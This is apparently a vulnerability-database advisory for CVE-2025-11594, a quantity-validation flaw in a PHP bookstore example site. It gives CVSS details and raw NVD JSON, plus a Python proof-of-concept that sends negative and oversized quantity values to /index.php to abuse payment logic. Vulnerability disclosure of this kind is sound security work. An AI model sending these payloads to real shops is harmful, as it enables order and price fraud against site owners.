Security Vulnerability Report
中文
CVE-2025-11594 CVSS 5.3 MEDIUM

CVE-2025-11594

Published: 2025-10-11 09:15:33
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been found in ywxbear PHP-Bookstore-Website-Example and PHP Basic BookStore Website up to 0e0b9f542f7a2d90a8d7f8c83caca69294e234e4. This issue affects some unknown processing of the file /index.php of the component Quantity Handler. Such manipulation leads to improper validation of specified quantity in input. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ywxbear PHP-Bookstore-Website-Example(commit 0e0b9f542f7a2d90a8d7f8c83caca69294e234e4 及之前版本)
PHP Basic BookStore Website(commit 0e0b9f542f7a2d90a8d7f8c83caca69294e234e4 及之前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11594 PoC - PHP Bookstore Quantity Parameter Manipulation # Vulnerability: Improper validation of specified quantity in input # Affected: ywxbear PHP-Bookstore-Website-Example / PHP Basic BookStore Website # Component: /index.php - Quantity Handler import requests # Target URL target_url = "http://target-site.com/index.php" # Step 1: Add a product to cart (simulated) session = requests.Session() # Step 2: Manipulate the quantity parameter with abnormal values # Example: Setting quantity to a negative number to exploit payment logic payloads = [ {"book_id": "1", "quantity": "-1"}, # Negative quantity {"book_id": "1", "quantity": "0"}, # Zero quantity {"book_id": "1", "quantity": "999999"}, # Extremely large quantity {"book_id": "1", "quantity": "-100"}, # Large negative quantity ] for payload in payloads: try: # Send request to the Quantity Handler endpoint response = session.post( target_url, data={"action": "update_quantity", **payload}, headers={"Content-Type": "application/x-www-form-urlencoded"} ) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") print("-" * 50) except Exception as e: print(f"[!] Error: {e}") # Step 3: Alternatively, manipulate quantity via GET parameter # http://target-site.com/index.php?action=update_quantity&book_id=1&quantity=-1 print("\n[!] Manual verification URL:") print(f" {target_url}?action=update_quantity&book_id=1&quantity=-1")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11594", "sourceIdentifier": "[email protected]", "published": "2025-10-11T09:15:32.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in ywxbear PHP-Bookstore-Website-Example and PHP Basic BookStore Website up to 0e0b9f542f7a2d90a8d7f8c83caca69294e234e4. This issue affects some unknown processing of the file /index.php of the component Quantity Handler. Such manipulation leads to improper validation of specified quantity in input. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}, {"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://github.com/Lianhaorui/Report/blob/main/Payment%20Logic%20Vulnerability.docx", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327915", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327915", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.671737", "source": "[email protected]"}, {"url": "https://github.com/Lianhaorui/Report/blob/main/Payment%20Logic%20Vulnerability.docx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}